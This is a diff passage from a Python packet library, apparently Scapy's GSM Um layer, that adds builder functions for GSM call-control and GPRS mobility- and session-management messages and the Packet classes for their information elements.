+        r = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0)
+        packet = packet / r
+    if HighLayerCompatibility_presence is 1:
+        s = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0)
+        packet = packet / s
+    if HighLayerCompatibility_presence1 is 1:
+        t = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0)
+        packet = packet / t
+    if UserUser_presence is 1:
+        u = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / u
+    if PriorityLevel_presence is 1:
+        v = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0)
+        packet = packet / v
+    if AlertingPattern_presence is 1:
+        w = AlertingPatternHdr(ieiAP=0x19, eightBitAP=0x0)
+        packet = packet / w
+    return packet
+
+
+def setupMobileOriginated(RepeatIndicator_presence=0,
+                          BearerCapability_presence=0,
+                          BearerCapability_presence1=0,
+                          Facility_presence=0,
+                          CallingPartySubaddress_presence=0,
+                          CalledPartyBcdNumber_presence=0,
+                          CalledPartySubaddress_presence=0,
+                          RepeatIndicator_presence1=0,
+                          LowLayerCompatibility_presence=0,
+                          LowLayerCompatibility_presence1=0,
+                          RepeatIndicator_presence2=0,
+                          HighLayerCompatibility_presence=0,
+                          HighLayerCompatibility_presence1=0,
+                          UserUser_presence=0, SsVersionIndicator_presence=0,
+                          ClirSuppression_presence=0,
+                          ClirInvocation_presence=0,
+                          CallControlCapabilities_presence=0,
+                          Facility_presence1=0,
+                          Facility_presence2=0):
+    """SETUP Section 9.3.23.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x5)  # 00000101
+    packet = a / b
+    if RepeatIndicator_presence is 1:
+        c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0)
+        packet = packet / c
+    if BearerCapability_presence is 1:
+        d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / d
+    if BearerCapability_presence1 is 1:
+        e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / e
+    if Facility_presence is 1:
+        f = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / f
+    if CallingPartySubaddress_presence is 1:
+        g = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0)
+        packet = packet / g
+    if CalledPartyBcdNumber_presence is 1:
+        h = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0)
+        packet = packet / h
+    if CalledPartySubaddress_presence is 1:
+        i = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0)
+        packet = packet / i
+    if RepeatIndicator_presence1 is 1:
+        j = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0)
+        packet = packet / j
+    if LowLayerCompatibility_presence is 1:
+        k = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0)
+        packet = packet / k
+    if LowLayerCompatibility_presence1 is 1:
+        l = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0)
+        packet = packet / l
+    if RepeatIndicator_presence2 is 1:
+        m = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0)
+        packet = packet / m
+    if HighLayerCompatibility_presence is 1:
+        n = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0)
+        packet = packet / n
+    if HighLayerCompatibility_presence1 is 1:
+        o = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0)
+        packet = packet / o
+    if UserUser_presence is 1:
+        p = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / p
+    if SsVersionIndicator_presence is 1:
+        q = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0)
+        packet = packet / q
+    if ClirSuppression_presence is 1:
+        r = ClirSuppressionHdr(ieiCS=0xA1, eightBitCS=0x0)
+        packet = packet / r
+    if ClirInvocation_presence is 1:
+        s = ClirInvocationHdr(ieiCI=0xA2, eightBitCI=0x0)
+        packet = packet / s
+    if CallControlCapabilities_presence is 1:
+        t = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0)
+        packet = packet / t
+    if Facility_presence1 is 1:
+        u = FacilityHdr(ieiF=0x1D, eightBitF=0x0)
+        packet = packet / u
+    if Facility_presence2 is 1:
+        v = FacilityHdr(ieiF=0x1B, eightBitF=0x0)
+        packet = packet / v
+    return packet
+
+
+def startCc(CallControlCapabilities_presence=0):
+    """START CC Section 9.3.23a"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x9)  # 00001001
+    packet = a / b
+    if CallControlCapabilities_presence is 1:
+        c = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0)
+        packet = packet / c
+    return packet
+
+
+def startDtmf():
+    """START DTMF Section 9.3.24"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x35)  # 00110101
+    c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0)
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def startDtmfAcknowledge():
+    """START DTMF ACKNOWLEDGE Section 9.3.25"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x32)  # 00110010
+    c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0)
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def startDtmfReject():
+    """ START DTMF REJECT Section 9.3.26"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x37)  # 00110111
+    c = Cause()
+    packet = a / b / c
+    return packet
+
+
+def status(AuxiliaryStates_presence=0):
+    """STATUS Section 9.3.27"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x3d)  # 00111101
+    c = Cause()
+    d = CallState()
+    packet = a / b / c / d
+    if AuxiliaryStates_presence is 1:
+        e = AuxiliaryStatesHdr(ieiAS=0x24, eightBitAS=0x0)
+        packet = packet / e
+    return packet
+
+
+def statusEnquiry():
+    """STATUS ENQUIRY Section 9.3.28"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x34)  # 00110100
+    packet = a / b
+    return packet
+
+
+def stopDtmf():
+    """STOP DTMF Section 9.3.29"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x31)  # 00110001
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def stopDtmfAcknowledge():
+    """STOP DTMF ACKNOWLEDGE Section 9.3.30"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x32)  # 00110010
+    packet = a / b
+    return packet
+
+
+def userInformation(MoreData_presence=0):
+    """USER INFORMATION Section 9.3.31"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x20)  # 000100000
+    c = UserUser()
+    packet = a / b / c
+    if MoreData_presence is 1:
+        d = MoreDataHdr(ieiMD=0xA0, eightBitMD=0x0)
+        packet = packet / d
+    return packet
+
+#
+# 9.4 GPRS Mobility Management Messages
+#
+
+
+def attachRequest(PTmsiSignature_presence=0, GprsTimer_presence=0,
+                  TmsiStatus_presence=0):
+    """ATTACH REQUEST Section 9.4.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1)  # 0000001
+    c = MsNetworkCapability()
+    d = AttachTypeAndCiphKeySeqNr()
+    f = DrxParameter()
+    g = MobileId()
+    h = RoutingAreaIdentification()
+    i = MsRadioAccessCapability()
+    packet = a / b / c / d / f / g / h / i
+    if PTmsiSignature_presence is 1:
+        j = PTmsiSignature(ieiPTS=0x19)
+        packet = packet / j
+    if GprsTimer_presence is 1:
+        k = GprsTimer(ieiGT=0x17)
+        packet = packet / k
+    if TmsiStatus_presence is 1:
+        l = TmsiStatus(ieiTS=0x9)
+        packet = packet / l
+    return packet
+
+
+def attachAccept(PTmsiSignature_presence=0, GprsTimer_presence=0,
+                 MobileId_presence=0, MobileId_presence1=0,
+                 GmmCause_presence=0):
+    """ATTACH ACCEPT Section 9.4.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x2)  # 00000010
+    c = AttachResult()
+    d = ForceToStandby()
+    e = GprsTimer()
+    f = RadioPriorityAndSpareHalfOctets()
+    h = RoutingAreaIdentification()
+    packet = a / b / c / d / e / f / h
+    if PTmsiSignature_presence is 1:
+        i = PTmsiSignature(ieiPTS=0x19)
+        packet = packet / i
+    if GprsTimer_presence is 1:
+        j = GprsTimer(ieiGT=0x17)
+        packet = packet / j
+    if MobileId_presence is 1:
+        k = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0)
+        packet = packet / k
+    if MobileId_presence1 is 1:
+        l = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0)
+        packet = packet / l
+    if GmmCause_presence is 1:
+        m = GmmCause(ieiGC=0x25)
+        packet = packet / m
+    return packet
+
+
+def attachComplete():
+    """ATTACH COMPLETE Section 9.4.3"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x3)  # 00000011
+    packet = a / b
+    return packet
+
+
+def attachReject():
+    """ATTACH REJECT Section 9.4.4"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1)  # 00000001
+    c = GmmCause()
+    packet = a / b / c
+    return packet
+
+
+def detachRequest(GmmCause_presence=0):
+    """DETACH REQUEST Section 9.4.5"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x5)  # 00000101
+    c = DetachTypeAndForceToStandby()
+    packet = a / b / c
+    if GmmCause_presence is 1:
+        e = GmmCause(ieiGC=0x25)
+        packet = packet / e
+    return packet
+
+
+def detachRequestMsOriginating():
+    """DETACH REQUEST Section 9.4.5.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x5)  # 00000101
+    c = DetachTypeAndSpareHalfOctets()
+    packet = a / b / c
+    return packet
+
+
+def detachAcceptMsTerminated():
+    """DETACH ACCEPT Section 9.4.6.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x6)  # 00000110
+    packet = a / b
+    return packet
+
+
+def detachAcceptMsOriginating():
+    """DETACH ACCEPT Section 9.4.6.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x6)  # 00000110
+    c = ForceToStandbyAndSpareHalfOctets()
+    packet = a / b / c
+    return packet
+
+
+def ptmsiReallocationCommand(PTmsiSignature_presence=0):
+    """P-TMSI REALLOCATION COMMAND Section 9.4.7"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x10)  # 00010000
+    c = MobileId()
+    d = RoutingAreaIdentification()
+    e = ForceToStandbyAndSpareHalfOctets()
+    packet = a / b / c / d / e
+    if PTmsiSignature_presence is 1:
+        g = PTmsiSignature(ieiPTS=0x19)
+        packet = packet / g
+    return packet
+
+
+def ptmsiReallocationComplete():
+    """P-TMSI REALLOCATION COMPLETE Section 9.4.8"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x11)  # 00010001
+    packet = a / b
+    return packet
+
+
+def authenticationAndCipheringRequest(
+                                      AuthenticationParameterRAND_presence=0,
+                                      CiphKeySeqNr_presence=0):
+    """AUTHENTICATION AND CIPHERING REQUEST Section 9.4.9"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x12)  # 00010010
+    d = CipheringAlgorithmAndImeisvRequest()
+    e = ForceToStandbyAndAcReferenceNumber()
+    packet = a / b / d / e
+    if AuthenticationParameterRAND_presence is 1:
+        g = AuthenticationParameterRAND(ieiAPR=0x21)
+        packet = packet / g
+    if CiphKeySeqNr_presence is 1:
+        h = CiphKeySeqNrHdr(ieiCKSN=0x08, eightBitCKSN=0x0)
+        packet = packet / h
+    return packet
+
+
+def authenticationAndCipheringResponse(
+                                       AuthenticationParameterSRES_presence=0,
+                                       MobileId_presence=0):
+    """AUTHENTICATION AND CIPHERING RESPONSE Section 9.4.10"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x13)  # 00010011
+    c = AcReferenceNumberAndSpareHalfOctets()
+    packet = a / b / c
+    if AuthenticationParameterSRES_presence is 1:
+        e = AuthenticationParameterSRES(ieiAPS=0x22)
+        packet = packet / e
+    if MobileId_presence is 1:
+        f = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0)
+        packet = packet / f
+    return packet
+
+
+def authenticationAndCipheringReject():
+    """AUTHENTICATION AND CIPHERING REJECT Section 9.4.11"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x14)  # 00010100
+    packet = a / b
+    return packet
+
+
+def identityRequest():
+    """IDENTITY REQUEST Section 9.4.12"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x15)  # 00010101
+    c = IdentityType2AndforceToStandby()
+    packet = a / b / c
+    return packet
+
+
+def identityResponse():
+    """IDENTITY RESPONSE Section 9.4.13"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x16)  # 00010110
+    c = MobileId()
+    packet = a / b / c
+    return packet
+
+
+def routingAreaUpdateRequest(PTmsiSignature_presence=0,
+                             GprsTimer_presence=0,
+                             DrxParameter_presence=0,
+                             TmsiStatus_presence=0):
+    """ROUTING AREA UPDATE REQUEST Section 9.4.14"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x8)  # 00001000
+    c = UpdateTypeAndCiphKeySeqNr()
+    e = RoutingAreaIdentification()
+    f = MsNetworkCapability()
+    packet = a / b / c / e / f
+    if PTmsiSignature_presence is 1:
+        g = PTmsiSignature(ieiPTS=0x19)
+        packet = packet / g
+    if GprsTimer_presence is 1:
+        h = GprsTimer(ieiGT=0x17)
+        packet = packet / h
+    if DrxParameter_presence is 1:
+        i = DrxParameter(ieiDP=0x27)
+        packet = packet / i
+    if TmsiStatus_presence is 1:
+        j = TmsiStatus(ieiTS=0x9)
+        packet = packet / j
+    return packet
+
+
+def routingAreaUpdateAccept(PTmsiSignature_presence=0,
+                            MobileId_presence=0, MobileId_presence1=0,
+                            ReceiveNpduNumbersList_presence=0,
+                            GprsTimer_presence=0, GmmCause_presence=0):
+    """ROUTING AREA UPDATE ACCEPT Section 9.4.15"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x9)  # 00001001
+    c = ForceToStandbyAndUpdateResult()
+    e = GprsTimer()
+    f = RoutingAreaIdentification()
+    packet = a / b / c / e / f
+    if PTmsiSignature_presence is 1:
+        g = PTmsiSignature(ieiPTS=0x19)
+        packet = packet / g
+    if MobileId_presence is 1:
+        h = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0)
+        packet = packet / h
+    if MobileId_presence1 is 1:
+        i = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0)
+        packet = packet / i
+    if ReceiveNpduNumbersList_presence is 1:
+        j = ReceiveNpduNumbersList(ieiRNNL=0x26)
+        packet = packet / j
+    if GprsTimer_presence is 1:
+        k = GprsTimer(ieiGT=0x17)
+        packet = packet / k
+    if GmmCause_presence is 1:
+        l = GmmCause(ieiGC=0x25)
+        packet = packet / l
+    return packet
+
+
+def routingAreaUpdateComplete(ReceiveNpduNumbersList_presence=0):
+    """ROUTING AREA UPDATE COMPLETE Section 9.4.16"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0xa)  # 00001010
+    packet = a / b
+    if ReceiveNpduNumbersList_presence is 1:
+        c = ReceiveNpduNumbersList(ieiRNNL=0x26)
+        packet = packet / c
+    return packet
+
+
+def routingAreaUpdateReject():
+    """ROUTING AREA UPDATE REJECT Section 9.4.17"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0xb)  # 00001011
+    c = GmmCause()
+    d = ForceToStandbyAndSpareHalfOctets()
+    packet = a / b / c / d
+    return packet
+
+
+def gmmStatus():
+    """GMM STATUS Section 9.4.18"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x20)  # 00100000
+    c = GmmCause()
+    packet = a / b / c
+    return packet
+
+
+def gmmInformation(NetworkName_presence=0, NetworkName_presence1=0,
+                   TimeZone_presence=0, TimeZoneAndTime_presence=0,
+                   LsaIdentifier_presence=0):
+    """GMM INFORMATION Section 9.4.19"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x21)  # 00100001
+    packet = a / b
+    if NetworkName_presence is 1:
+        c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0)
+        packet = packet / c
+    if NetworkName_presence1 is 1:
+        d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0)
+        packet = packet / d
+    if TimeZone_presence is 1:
+        e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0)
+        packet = packet / e
+    if TimeZoneAndTime_presence is 1:
+        f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0)
+        packet = packet / f
+    if LsaIdentifier_presence is 1:
+        g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0)
+        packet = packet / g
+    return packet
+
+#
+# 9.5 GPRS Session Management Messages
+#
+
+
+def activatePdpContextRequest(AccessPointName_presence=0,
+                              ProtocolConfigurationOptions_presence=0):
+    """ACTIVATE PDP CONTEXT REQUEST Section 9.5.1"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x41)  # 01000001
+    c = NetworkServiceAccessPointIdentifier()
+    d = LlcServiceAccessPointIdentifier()
+    e = QualityOfService()
+    f = PacketDataProtocolAddress()
+    packet = a / b / c / d / e / f
+    if AccessPointName_presence is 1:
+        g = AccessPointName(ieiAPN=0x28)
+        packet = packet / g
+    if ProtocolConfigurationOptions_presence is 1:
+        h = ProtocolConfigurationOptions(ieiPCO=0x27)
+        packet = packet / h
+    return packet
+
+
+def activatePdpContextAccept(PacketDataProtocolAddress_presence=0,
+                             ProtocolConfigurationOptions_presence=0):
+    """ACTIVATE PDP CONTEXT ACCEPT Section 9.5.2"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x42)  # 01000010
+    c = LlcServiceAccessPointIdentifier()
+    d = QualityOfService()
+    e = RadioPriorityAndSpareHalfOctets()
+    packet = a / b / c / d / e
+    if PacketDataProtocolAddress_presence is 1:
+        f = PacketDataProtocolAddress(ieiPDPA=0x2B)
+        packet = packet / f
+    if ProtocolConfigurationOptions_presence is 1:
+        g = ProtocolConfigurationOptions(ieiPCO=0x27)
+        packet = packet / g
+    return packet
+
+
+def activatePdpContextReject(ProtocolConfigurationOptions_presence=0):
+    """ACTIVATE PDP CONTEXT REJECT Section 9.5.3"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x43)  # 01000011
+    c = SmCause()
+    packet = a / b / c
+    if ProtocolConfigurationOptions_presence is 1:
+        d = ProtocolConfigurationOptions(ieiPCO=0x27)
+        packet = packet / d
+    return packet
+
+
+def requestPdpContextActivation(AccessPointName_presence=0):
+    """REQUEST PDP CONTEXT ACTIVATION Section 9.5.4"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x44)  # 01000100
+    c = PacketDataProtocolAddress()
+    packet = a / b / c
+    if AccessPointName_presence is 1:
+        d = AccessPointName(ieiAPN=0x28)
+        packet = packet / d
+    return packet
+
+
+def requestPdpContextActivationReject():
+    """REQUEST PDP CONTEXT ACTIVATION REJECT Section 9.5.5"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x45)  # 01000101
+    c = SmCause()
+    packet = a / b / c
+    return packet
+
+
+def modifyPdpContextRequest():
+    """MODIFY PDP CONTEXT REQUEST Section 9.5.6"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x48)  # 01001000
+    c = RadioPriorityAndSpareHalfOctets()
+    d = LlcServiceAccessPointIdentifier()
+    e = QualityOfService()
+    packet = a / b / c / d / e
+    return packet
+
+
+def modifyPdpContextAccept():
+    """MODIFY PDP CONTEXT ACCEPT Section 9.5.7"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x45)  # 01000101
+    packet = a / b
+    return packet
+
+
+def deactivatePdpContextRequest():
+    """DEACTIVATE PDP CONTEXT REQUEST Section 9.5.8"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x46)  # 01000110
+    c = SmCause()
+    packet = a / b / c
+    return packet
+
+
+def deactivatePdpContextAccept():
+    """DEACTIVATE PDP CONTEXT ACCEPT Section 9.5.9"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x47)  # 01000111
+    packet = a / b
+    return packet
+
+
+def activateAaPdpContextRequest(AccessPointName_presence=0,
+                                ProtocolConfigurationOptions_presence=0,
+                                GprsTimer_presence=0):
+    """ACTIVATE AA PDP CONTEXT REQUEST Section 9.5.10"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x50)  # 01010000
+    c = NetworkServiceAccessPointIdentifier()
+    d = LlcServiceAccessPointIdentifier()
+    e = QualityOfService()
+    f = PacketDataProtocolAddress()
+    packet = a / b / c / d / e / f
+    if AccessPointName_presence is 1:
+        g = AccessPointName(ieiAPN=0x28)
+        packet = packet / g
+    if ProtocolConfigurationOptions_presence is 1:
+        h = ProtocolConfigurationOptions(ieiPCO=0x27)
+        packet = packet / h
+    if GprsTimer_presence is 1:
+        i = GprsTimer(ieiGT=0x29)
+        packet = packet / i
+    return packet
+
+
+def activateAaPdpContextAccept(ProtocolConfigurationOptions_presence=0,
+                               GprsTimer_presence=0):
+    """ACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.11"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x51)  # 01010001
+    c = LlcServiceAccessPointIdentifier()
+    d = QualityOfService()
+    e = MobileId()
+    f = PacketDataProtocolAddress()
+    g = RadioPriorityAndSpareHalfOctets()
+    packet = a / b / c / d / e / f / g
+    if ProtocolConfigurationOptions_presence is 1:
+        i = ProtocolConfigurationOptions(ieiPCO=0x27)
+        packet = packet / i
+    if GprsTimer_presence is 1:
+        j = GprsTimer(ieiGT=0x29)
+        packet = packet / j
+    return packet
+
+
+def activateAaPdpContextReject(ProtocolConfigurationOptions_presence=0):
+    """ACTIVATE AA PDP CONTEXT REJECT Section 9.5.12"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x52)  # 01010010
+    c = SmCause()
+    packet = a / b / c
+    if ProtocolConfigurationOptions_presence is 1:
+        d = ProtocolConfigurationOptions(ieiPCO=0x27)
+        packet = packet / d
+    return packet
+
+
+def deactivateAaPdpContextRequest():
+    """DEACTIVATE AA PDP CONTEXT REQUEST Section 9.5.13"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x53)  # 01010011
+    c = AaDeactivationCauseAndSpareHalfOctets()
+    packet = a / b / c
+    return packet
+
+
+def deactivateAaPdpContextAccept():
+    """DEACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.14"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x54)  # 01010100
+    packet = a / b
+    return packet
+
+
+def smStatus():
+    """SM STATUS Section 9.5.15"""
+    a = TpPd(pd=0x8)
+    b = MessageType(mesType=0x55)  # 01010101
+    c = SmCause()
+    packet = a / b / c
+    return packet
+
+
+# ============================================#
+# Information Elements contents (Section 10)  #
+# =========================================== #
+
+####
+# This section contains the elements we need to build the messages
+####
+
+#
+# Common information elements:
+#
+class CellIdentityHdr(Packet):
+    """ Cell identity Section 10.5.1.1 """
+    name = "Cell Identity"
+    fields_desc = [
+             BitField("eightBitCI", None, 1),
+             XBitField("ieiCI", None, 7),
+             ByteField("ciValue1", 0x0),
+             ByteField("ciValue2", 0x0)
+             ]
+
+
+class CiphKeySeqNrHdr(Packet):
+    """ Ciphering Key Sequence Number Section 10.5.1.2 """
+    name = "Cipher Key Sequence Number"
+    fields_desc = [
+             XBitField("ieiCKSN", None, 4),
+             BitField("spare", 0x0, 1),
+             BitField("keySeq", 0x0, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class CiphKeySeqNrAndSpareHalfOctets(Packet):
+    name = "Cipher Key Sequence Number and Spare Half Octets"
+    fields_desc = [
+              BitField("spare", 0x0, 1),
+              BitField("keySeq", 0x0, 3),
+              BitField("spareHalfOctets", 0x0, 4)
+              ]
+
+
+# Fix 1/2 len problem
+class CiphKeySeqNrAndMacModeAndChannelCodingRequest(Packet):
+    name = "Cipher Key Sequence Number and Mac Mode And Channel Coding Request"
+    fields_desc = [
+              BitField("spare", 0x0, 1),
+              BitField("keySeq", 0x0, 3),
+              BitField("macMode", 0x0, 2),
+              BitField("cs", 0x0, 2)
+              ]
+
+
+class LocalAreaIdHdr(Packet):
+    """ Local Area Identification Section 10.5.1.3 """
+    name = "Location Area Identification"
+    fields_desc = [
+             BitField("eightBitLAI", None, 1),
+             XBitField("ieiLAI", None, 7),
+             BitField("mccDigit2", 0x0, 4),
+             BitField("mccDigit1", 0x0, 4),
+             BitField("mncDigit3", 0x0, 4),
+             BitField("mccDigit3", 0x0, 4),
+             BitField("mncDigit2", 0x0, 4),
+             BitField("mncDigit1", 0x0, 4),
+             ByteField("lac1", 0x0),
+             ByteField("lac2", 0x0)
+             ]
+#
+# The Mobile Identity is a type 4 information element with a minimum
+# length of 3 octet and 11 octets length maximal.
+#
+
+
+# len 3 - 11
+class MobileIdHdr(Packet):
+    """ Mobile Identity  Section 10.5.1.4 """
+    name = "Mobile Identity"
+    fields_desc = [
+             BitField("eightBitMI", 0x0, 1),
+             XBitField("ieiMI", 0x0, 7),
+
+             XByteField("lengthMI", None),
+
+             BitField("idDigit1", 0x0, 4),
+             BitField("oddEven", 0x0, 1),
+             BitField("typeOfId", 0x0, 3),
+
+             BitField("idDigit2_1", None, 4),  # optional
+             BitField("idDigit2", None, 4),
+
+             BitField("idDigit3_1", None, 4),
+             BitField("idDigit3", None, 4),
+
+             BitField("idDigit4_1", None, 4),
+             BitField("idDigit4", None, 4),
+
+             BitField("idDigit5_1", None, 4),
+             BitField("idDigit5", None, 4),
+
+             BitField("idDigit6_1", None, 4),
+             BitField("idDigit6", None, 4),
+             BitField("idDigit7_1", None, 4),
+             BitField("idDigit7", None, 4),
+             BitField("idDigit8_1", None, 4),
+             BitField("idDigit8", None, 4),
+             BitField("idDigit9_1", None, 4),
+             BitField("idDigit9", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        # this list holds the values of the variables, the
+        # INTERESTING value!
+        a = [getattr(self, fld.name, None) for fld in self.fields_desc]
+        res = adapt(3, 11, a, self.fields_desc)
+        if self.lengthMI is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class MobileStationClassmark1Hdr(Packet):
+    """ Mobile Station Classmark 1 Section 10.5.1.5 """
+    name = "Mobile Station Classmark 1"
+    fields_desc = [
+             BitField("eightBitiMSC1", None, 1),
+             XBitField("ieiMSC1", None, 7),
+             BitField("spare", 0x0, 1),
+             BitField("revisionLvl", 0x0, 2),
+             BitField("esInd", 0x0, 1),
+             BitField("a51", 0x0, 1),
+             BitField("rfPowerCap", 0x0, 3)
+             ]
+
+
+class MobileStationClassmark2Hdr(Packet):
+    """ Mobile Station Classmark 2 Section 10.5.1.6 """
+    name = "Mobile Station Classmark 2"
+    fields_desc = [
+             BitField("eightBitMSC2", None, 1),
+             XBitField("ieiMSC2", None, 7),
+             XByteField("lengthMSC2", 0x3),
+             BitField("spare", 0x0, 1),
+             BitField("revisionLvl", 0x0, 2),
+             BitField("esInd", 0x0, 1),
+             BitField("a51", 0x0, 1),
+             BitField("rfPowerCap", 0x0, 3),
+             BitField("spare1", 0x0, 1),
+             BitField("psCap", 0x0, 1),
+             BitField("ssScreenInd", 0x0, 2),
+             BitField("smCaPabi", 0x0, 1),
+             BitField("vbs", 0x0, 1),
+             BitField("vgcs", 0x0, 1),
+             BitField("fc", 0x0, 1),
+             BitField("cm3", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("lcsvaCap", 0x0, 1),
+             BitField("spare3", 0x0, 1),
+             BitField("soLsa", 0x0, 1),
+             BitField("cmsp", 0x0, 1),
+             BitField("a53", 0x0, 1),
+             BitField("a52", 0x0, 1)
+             ]
+
+
+# len max 14
+class MobileStationClassmark3(Packet):
+    """ Mobile Station Classmark 3 Section 10.5.1.7 """
+    name = "Mobile Station Classmark 3"
+    fields_desc = [
+             # FIXME
+             ByteField("ieiMSC3", 0x0),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0),
+             ByteField("byte11", 0x0),
+             ByteField("byte12", 0x0),
+             ByteField("byte13", 0x0),
+             ByteField("byte14", 0x0)
+             ]
+
+
+class SpareHalfOctets(Packet):
+    """ Spare Half Octet Section 10.5.1.8 """
+    name = "Spare Half Octet"
+    fields_desc = [
+             BitField("filler", None, 4),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class DescriptiveGroupOrBroadcastCallReferenceHdr(Packet):
+    """ Descriptive group or broadcast call reference  Section 10.5.1.9 """
+    name = "Descriptive Group or Broadcast Call Reference"
+    fields_desc = [
+             BitField("eightBitDGOBCR", None, 1),
+             XBitField("ieiDGOBCR", None, 7),
+             BitField("binCallRef", 0x0, 27),
+             BitField("sf", 0x0, 1),
+             BitField("fa", 0x0, 1),
+             BitField("callPrio", 0x0, 3),
+             BitField("cipherInfo", 0x0, 4),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("spare3", 0x0, 1),
+             BitField("spare4", 0x0, 1)
+             ]
+
+
+class GroupCipherKeyNumber(Packet):
+    """ Group Cipher Key Number reference  Section 10.5.1.10 """
+    name = "Group Cipher Key Number"
+    fields_desc = [
+             XBitField("ieiGCKN", None, 4),
+             BitField("groupCipher", 0x0, 4)
+             ]
+
+
+class PdAndSapiHdr(Packet):
